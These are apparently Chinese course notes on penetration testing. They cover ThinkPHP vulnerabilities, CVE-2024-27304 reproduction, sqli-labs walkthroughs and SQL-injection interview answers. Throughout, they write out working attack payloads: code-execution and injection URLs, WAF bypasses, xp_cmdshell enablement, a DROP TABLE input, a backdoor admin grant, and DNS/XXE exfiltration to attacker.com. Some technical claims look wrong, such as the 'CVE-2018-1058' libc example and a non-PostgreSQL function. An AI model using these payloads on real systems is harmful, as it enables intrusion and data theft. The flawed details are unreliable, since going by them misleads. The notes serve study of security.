目录
- 渗透高级课第二次学习总结
-
- 一、ThinkPHP框架漏洞分析
-
- [1.1 ThinkPHP5漏洞分析](#1.1 ThinkPHP5漏洞分析)
- [1.2 ThinkPHP6漏洞分析](#1.2 ThinkPHP6漏洞分析)
- 二、CVE-2024-27304漏洞分析与利用
- 三、SQL注入练习环境(sqli-labs-php7-master)
- 四、其他学习资源
- 五、学习总结
-
- [5.1 核心知识点](#5.1 核心知识点)
- [5.2 实践技能](#5.2 实践技能)
- 六、SQL注入面试题
-
- [6.1 二次注入攻击流程](#6.1 二次注入攻击流程)
- [6.2 时间盲注绕过技巧](#6.2 时间盲注绕过技巧)
- [6.3 DNS外带数据利用](#6.3 DNS外带数据利用)
- [6.4 WAF绕过实战](#6.4 WAF绕过实战)
- [6.5 堆叠查询利用](#6.5 堆叠查询利用)
- [6.6 预编译绕过漏洞](#6.6 预编译绕过漏洞)
- [6.7 JSON注入漏洞](#6.7 JSON注入漏洞)
- [6.8 基于错误注入的利用](#6.8 基于错误注入的利用)
- [6.9 权限提升技巧](#6.9 权限提升技巧)
- 七、参考资料
渗透高级课第二次学习总结
一、ThinkPHP框架漏洞分析
1.1 ThinkPHP5漏洞分析
1.1.1 SQL注入漏洞
知识点
- 漏洞原理:ThinkPHP5在处理某些参数时,未对用户输入进行严格过滤,导致SQL注入漏洞
- 影响版本:不同漏洞影响不同版本的ThinkPHP5
- 注入类型:包括联合查询注入、布尔盲注、时间盲注等
- 触发条件:特定的URL参数或请求方式
复现步骤
以ThinkPHP5漏洞分析之SQL注入(一)为例:
- 搭建ThinkPHP5漏洞环境
- 访问特定URL,如:
http://localhost/thinkphp5/?s=index/index/index&ids[0]=bind&ids[1]=0 and updatexml(1,concat(0x7e,user(),0x7e),1)# - 观察页面返回的错误信息,获取数据库用户信息
- 进一步利用,获取数据库名称、表名、字段名等信息
- 最终获取敏感数据
1.1.2 文件包含漏洞
知识点
- 漏洞原理:ThinkPHP5在处理模板渲染时,未对模板文件路径进行严格校验,导致文件包含漏洞
- 影响版本:特定版本的ThinkPHP5
- 利用方式:通过构造特殊的模板文件路径,包含系统敏感文件或恶意文件
复现步骤
- 搭建ThinkPHP5漏洞环境
- 访问特定URL,如:
http://localhost/thinkphp5/?s=index/index/index&template=./public/../application/index/controller/../../../../etc/passwd - 观察页面返回,查看是否成功包含目标文件
- 进一步利用,尝试包含其他敏感文件或恶意文件
1.1.3 代码执行漏洞
知识点
- 漏洞原理:ThinkPHP5在处理某些参数时,未对用户输入进行严格过滤,导致代码执行漏洞
- 影响版本:特定版本的ThinkPHP5
- 利用方式:通过构造特殊的参数,执行任意PHP代码
复现步骤
以ThinkPHP5漏洞分析之代码执行(八)为例:
- 搭建ThinkPHP5漏洞环境
- 访问特定URL,如:
http://localhost/thinkphp5/?s=index/index/index&name={${phpinfo()}} - 观察页面是否执行phpinfo()函数
- 进一步利用,执行其他恶意代码
1.1.4 反序列化漏洞
知识点
- 漏洞原理:ThinkPHP5存在不安全的反序列化操作,攻击者可以构造特殊的序列化字符串,触发POP链,执行恶意代码
- 影响版本:ThinkPHP5.0.X、5.1.X、5.2.X
- POP链构造:通过分析框架代码,找到可利用的魔术方法和调用链
复现步骤
以ThinkPHP5.0.X反序列化利用链为例:
- 搭建ThinkPHP5.0.X漏洞环境
- 分析框架代码,构造POP链
- 生成序列化字符串
- 通过特定方式传入序列化字符串,如Cookie、POST参数等
- 观察是否执行恶意代码
1.2 ThinkPHP6漏洞分析
1.2.1 任意文件创建漏洞
知识点
- 漏洞原理:ThinkPHP6在处理文件上传时,未对文件路径进行严格校验,导致任意文件创建漏洞
- 影响版本:ThinkPHP6.0.X
- 利用方式:通过构造特殊的文件路径,在任意位置创建文件
复现步骤
- 搭建ThinkPHP6.0.X漏洞环境
- 构造包含特殊路径的文件上传请求
- 发送请求,尝试在目标位置创建文件
- 验证文件是否成功创建
1.2.2 反序列化漏洞
知识点
- 漏洞原理:ThinkPHP6存在不安全的反序列化操作,攻击者可以构造特殊的序列化字符串,触发POP链,执行恶意代码
- 影响版本:ThinkPHP6.X
- POP链构造:通过分析框架代码,找到可利用的魔术方法和调用链
复现步骤
- 搭建ThinkPHP6.X漏洞环境
- 分析框架代码,构造POP链
- 生成序列化字符串
- 通过特定方式传入序列化字符串
- 观察是否执行恶意代码
二、CVE-2024-27304漏洞分析与利用
2.1 漏洞概述
知识点
- 漏洞名称:PostgreSQL pgx库SQL注入漏洞
- CVE编号:CVE-2024-27304
- 影响版本:pgx v5.5.3
- 漏洞类型:协议级SQL注入
- 漏洞原理:通过发送超大payload导致PostgreSQL协议消息大小溢出,实现SQL注入
2.2 漏洞原理
知识点
- PostgreSQL协议:PostgreSQL使用特定的协议消息格式进行通信
- 消息类型 :
P(Parse):发送预处理语句B(Bind):发送参数Q(Query):发送简单查询
- 溢出条件 :当pgx使用
Q(Query)或B(Bind)方式发送消息时,发送超大payload可导致消息大小溢出 - 利用方式:通过构造特定的payload,在溢出后注入恶意SQL代码
2.3 环境搭建
复现步骤
- 克隆漏洞环境:
git clone https://github.com/your-repo/CVE-2024-27304-PoC.git - 进入webapp目录:
cd CVE-2024-27304-PoC/webapp - 启动Docker容器:
docker-compose up -d - 验证服务是否启动:访问
http://localhost:8080
2.4 漏洞利用
复现步骤
以Q_nop_sled.py为例:
- 进入exploit目录:
cd CVE-2024-27304-PoC/exploit - 修改Q_nop_sled.py中的目标地址和参数
- 运行脚本:
python Q_nop_sled.py - 观察输出,验证是否成功利用漏洞
- 尝试登录web应用,验证是否成功创建管理员账号
注意事项
- 该漏洞利用需要大量内存
- 发送的payload非常大,可能导致DoS
- 请勿对第三方系统执行此漏洞利用
三、SQL注入练习环境(sqli-labs-php7-master)
3.1 环境搭建
复现步骤
- 下载sqli-labs-php7-master压缩包
- 解压到web服务器根目录
- 配置数据库连接:编辑
sql-connections/sqli-connect.php文件,填入数据库信息 - 访问
http://localhost/sqli-labs-php7-master/,点击"Setup/reset Database for labs" - 确认数据库创建成功
3.2 Less-1:基于错误的SQL注入
知识点
- 注入类型:基于错误的SQL注入
- 触发条件:单引号闭合的GET参数
- 利用方式:通过构造特殊的id参数,触发SQL错误,获取数据库信息
复现步骤
- 访问
http://localhost/sqli-labs-php7-master/Less-1/?id=1,确认页面正常返回 - 访问
http://localhost/sqli-labs-php7-master/Less-1/?id=1',观察错误信息 - 访问
http://localhost/sqli-labs-php7-master/Less-1/?id=1' --+,确认页面正常返回 - 访问
http://localhost/sqli-labs-php7-master/Less-1/?id=0' union select 1,2,3 --+,查看回显位置 - 访问
http://localhost/sqli-labs-php7-master/Less-1/?id=0' union select 1,database(),user() --+,获取数据库名称和用户信息 - 进一步获取表名、字段名、敏感数据
3.3 Less-2:数字型SQL注入
知识点
- 注入类型:数字型SQL注入
- 触发条件:未加引号的GET参数
- 利用方式:通过构造特殊的id参数,执行联合查询
复现步骤
- 访问
http://localhost/sqli-labs-php7-master/Less-2/?id=1,确认页面正常返回 - 访问
http://localhost/sqli-labs-php7-master/Less-2/?id=1 and 1=2,观察页面返回 - 访问
http://localhost/sqli-labs-php7-master/Less-2/?id=1 union select 1,2,3,查看回显位置 - 后续步骤与Less-1类似,获取数据库信息和敏感数据
3.4 Less-5:布尔盲注
知识点
- 注入类型:布尔盲注
- 触发条件:页面无直接回显,仅根据返回状态判断
- 利用方式:通过构造布尔表达式,逐步获取数据库信息
复现步骤
- 访问
http://localhost/sqli-labs-php7-master/Less-5/?id=1,观察页面返回 - 访问
http://localhost/sqli-labs-php7-master/Less-5/?id=1' and 1=1 --+,观察页面返回 - 访问
http://localhost/sqli-labs-php7-master/Less-5/?id=1' and 1=2 --+,观察页面返回 - 使用布尔盲注脚本或手动注入,逐步获取数据库名称长度、字符等信息
- 进一步获取表名、字段名、敏感数据
3.5 Less-9:时间盲注
知识点
- 注入类型:时间盲注
- 触发条件:页面无直接回显,布尔判断也无法直接观察
- 利用方式:通过构造时间延迟函数,根据响应时间判断注入结果
复现步骤
- 访问
http://localhost/sqli-labs-php7-master/Less-9/?id=1,观察页面返回 - 访问
http://localhost/sqli-labs-php7-master/Less-9/?id=1' and sleep(5) --+,观察页面响应时间 - 访问
http://localhost/sqli-labs-php7-master/Less-9/?id=1' and if(length(database())>5,sleep(5),1) --+,根据响应时间判断数据库名称长度 - 使用时间盲注脚本或手动注入,逐步获取数据库信息
- 进一步获取表名、字段名、敏感数据
四、其他学习资源
4.1 PDO绕过技术(PDOBYPASS.pdf)
知识点
- PDO介绍:PHP Data Objects,PHP的数据库抽象层
- PDO预处理:用于防止SQL注入的技术
- 绕过方法:通过特定的构造,绕过PDO预处理的保护,实现SQL注入
学习步骤
- 阅读PDOBYPASS.pdf文档,了解PDO绕过的原理
- 搭建PDO测试环境
- 编写测试代码,验证PDO绕过技术
- 分析不同绕过方法的适用场景和限制
- 总结PDO安全编程的最佳实践
五、学习总结
5.1 核心知识点
- 框架漏洞分析:掌握了ThinkPHP5和ThinkPHP6框架的各类漏洞,包括SQL注入、文件包含、代码执行和反序列化
- 协议级漏洞:了解了CVE-2024-27304这类协议级别的SQL注入漏洞,学习了从协议层面分析和利用漏洞的方法
- SQL注入技术:通过sqli-labs练习,掌握了多种SQL注入类型的识别和利用方法
- 漏洞利用脚本编写:学习了如何编写漏洞利用脚本,如Python脚本
- 代码审计基础:通过分析框架漏洞代码,提高了PHP代码审计能力
5.2 实践技能
- 漏洞环境搭建:掌握了使用Docker、web服务器等搭建漏洞环境的方法
- 漏洞复现:能够独立复现各类漏洞,验证漏洞存在
- 漏洞利用:能够根据漏洞原理,构造利用payload,获取敏感信息或执行恶意代码
- 安全防护建议:了解了常见漏洞的防护方法,能够提出针对性的安全建议
六、SQL注入面试题
6.1 二次注入攻击流程
题目:假设目标网站对用户输入做了参数化查询,但存在用户注册信息回显的场景,你会如何构造二次注入攻击?请详细描述完整攻击链
答案:
- 攻击原理:数据被"安全"存入数据库后,在其他场景被取出时未经过滤直接拼接SQL语句
- 具体步骤 :
- 注册用户时提交恶意Payload(如
admin'#) - 系统将Payload存入数据库时未触发注入
- 在密码修改功能中,当程序从数据库取出用户名并拼接SQL:
UPDATE users SET password='[new_pass]' WHERE username='[恶意用户名]' - 实际执行语句变为:
UPDATE users SET password='hacked' WHERE username='admin'#'
- 注册用户时提交恶意Payload(如
- 防御方案:所有从数据库取出的数据再次使用时仍需参数化处理
6.2 时间盲注绕过技巧
题目:当目标过滤了SLEEP()函数和BENCHMARK()函数,且请求频率受限时,你会如何构造可靠的时间盲注Payload?
答案:
- 使用重型查询制造延迟:
AND (SELECT COUNT(*) FROM information_schema.tables A, information_schema.tables B, information_schema.tables C) - 利用条件性复杂运算:
AND IF(ASCII(SUBSTR((SELECT @@version),1,1))>50, EXP(1000), 1) - 结合DNS查询延时(需出网):
AND LOAD_FILE(CONCAT('\\',(SELECT MID(@@version,1,100)),'.attacker.com\test'))
6.3 DNS外带数据利用
题目:如何通过DNS协议外带Oracle数据库的敏感数据?请写出完整Payload并解释原理
答案:
- Payload :
SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT SYS_CONTEXT('USERENV','CURRENT_USER') FROM DUAL)||'.attacker.com/"> %remote;]>'),'/l') FROM DUAL - 原理 :
- 利用XML外部实体(XXE)发起HTTP请求
- 通过字符串拼接将查询结果插入子域名
- 通过DNS解析日志捕获数据
- 适用条件:Oracle 11g/12c,需要拥有UTL_HTTP权限
6.4 WAF绕过实战
题目:假设WAF检测UNION SELECT模式且过滤常见关键词,如何构造绕过Payload?给出至少三种技术方案
答案:
- 注释混淆:
UNI/**/ON SEL/**/ECT 1,version() - 空白符变异:
UNION%0bSELECT%a0@@version - 字符编码绕过:
UNION SELECT CHAR(97)+CHAR(100)+CHAR(109)+CHAR(105)+CHAR(110) - 大小写混合+嵌套语句:
UnIoN (sElEcT 1,(sElEcT mid(version(),1,1)))
6.5 堆叠查询利用
题目:在MSSQL环境中,如何通过堆叠查询实现操作系统命令执行?写出完整利用链
答案:
- 开启xp_cmdshell:
'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;-- - 执行命令:
'; EXEC xp_cmdshell 'whoami';-- - 注意事项 :
- 需要sa等高权限账户
- 可能受数据库配置限制
- 可配合CLR集成实现更复杂攻击
6.6 预编译绕过漏洞
题目:为什么参数化查询有时仍会发生SQL注入?请结合具体案例说明
答案:
-
案例 :开发者在预编译语句中动态拼接表名/列名:
javaString query = "SELECT * FROM " + tableName + " WHERE id = ?"; PreparedStatement stmt = conn.prepareStatement(query); -
漏洞点:表名/列名无法参数化
-
攻击方式 :攻击者可控制表名参数:
malicious_table; DROP TABLE users-- -
防御方案:使用白名单校验表名/列名,严格限制动态拼接部分的数据类型
6.7 JSON注入漏洞
题目:当Web应用使用JSON格式与数据库交互时,可能存在哪些特殊形式的SQL注入?举例说明
答案:
-
攻击场景 :
json{ "query": "SELECT * FROM users WHERE name = '{{name}}'" } -
Payload :
json{ "name": "admin' OR 1=1-- " } -
深度利用 :
- 在MongoDB中可能触发NoSQL注入:
{"$where": "sleep(100)"} - PostgreSQL JSON函数注入:
SELECT json_extract('{\"a\":\"' || (SELECT version()) || '\""}','$.a')
- 在MongoDB中可能触发NoSQL注入:
6.8 基于错误注入的利用
题目:如何通过错误回显精确提取数据?给出MySQL和MSSQL的利用函数
答案:
- MySQL :
AND ExtractValue(1, CONCAT(0x5c, (SELECT @@version))) - MSSQL :
AND 1=CONVERT(int, (SELECT @@version)) - 原理:故意构造类型转换错误使数据库返回包含敏感信息的错误消息
- 条件:服务器配置显示详细错误信息
6.9 权限提升技巧
题目:如何通过SQL注入将普通数据库用户权限提升为sysadmin?给出具体步骤
答案:
-
PostgreSQL示例 :
- 检查是否为超级用户:
SELECT current_setting('is_superuser') - 利用CVE-2018-1058:
CREATE FUNCTION sys_eval(text) RETURNS text AS '/lib/libc.so.6' LANGUAGE C RETURNS NULL ON NULL INPUT; SELECT sys_eval('whoami');
- 检查是否为超级用户:
-
MySQL提权 :
sqlGRANT ALL PRIVILEGES ON *.* TO 'attacker'@'%' IDENTIFIED BY 'password' WITH GRANT OPTION;
七、参考资料
- ThinkPHP-Vuln项目:https://github.com/Mochazz/ThinkPHP-Vuln
- CVE-2024-27304-PoC项目
- sqli-labs-php7-master练习环境
- PostgreSQL协议文档:https://www.postgresql.org/docs/17/protocol-message-formats.html
- PHP官方文档:https://www.php.net/docs.php
- SQL注入面试题:https://mp.weixin.qq.com/s/9qviC6Zbg0x5rN0r1Tvdbg